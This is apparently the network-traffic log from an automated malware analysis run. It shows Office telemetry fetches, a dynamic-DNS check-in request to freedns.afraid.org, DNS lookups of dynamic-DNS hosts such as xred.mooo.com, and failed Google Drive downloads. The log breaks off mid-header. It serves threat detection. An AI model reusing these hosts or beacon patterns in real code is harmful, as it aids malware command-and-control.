Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: adnetwork33.redirectme.net
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:02 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-LWJ00bb6JE6whvBxkQ9D7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY0dk3TsItE9wPQSsNFXFfIhoAGhhbtkdhA5UD73xSzeWFs6yYtKm8-dv_wSq1GDFHdRjcsRSkwg-wServer: UploadServerSet-Cookie: NID=518=qXCc1ItKy39zclishG3lJPWHQIXig-czns6rA7aMGgjqjClusxZU9ws5ACNPo6F3tkb29OjltQKotVk7HqnFjdbvkbI6QwiZ0bcUdju9-7a05VRNl2xR-3dkjo3cCq43-kMr_ZXasnEXsgnzns5RVgvknKJ2IPf8v5cxrNztWP9OsLoNzWE; expires=Wed, 07-May-2025 21:44:02 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:02 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2_ybFommKn2h8N8IMjrazw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652X-GUploader-UploadID: AHmUCY0kd38BLSWrPiTswSenTi9B24jR1yhEZL4uaa7k4kAqNegLNDrEw8W5WgfYu90-Fwny-6kubV6L9AServer: UploadServerSet-Cookie: NID=518=K3YA05x7a7wPcF88R7Dw84WMKjQ6873DnHLR0LDQGgc1MteC2G4ONn395vfZJqjk156Vzxx1_lIu06nshB5Ed1NY55eq3dN6KRQvGYzWjVowpXj9p2zZi3HhDXnkEl-_s9rmiEicjyouHMKJ58sqyP_d0c1v3p5pEUooYDO1QtMNLVq6H1Y; expires=Wed, 07-May-2025 21:44:02 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:04 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-8a5kDjT618qxJKGw7m3Rig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652X-GUploader-UploadID: AHmUCY1nFP0UhlHr6qYFFnIvwE4yhcSOtY-e6ycRxBocsP16HI7QBPKb5uP12OlD1UuSVOlU3Vvw0sKQ0gServer: UploadServerSet-Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ; expires=Wed, 07-May-2025 21:44:04 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:06 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-7-F_SKoQF6nl9lXP3GlW5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY13PwIpR7PlVS97n-WZgyPidSNKzeEUEXQ66Y_HEtpUxwbS0Laq7-MhFtV_BwbgCMeaXdYbLxEJrQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:07 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-km63uHzmsgm5tgx5xc9V4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, 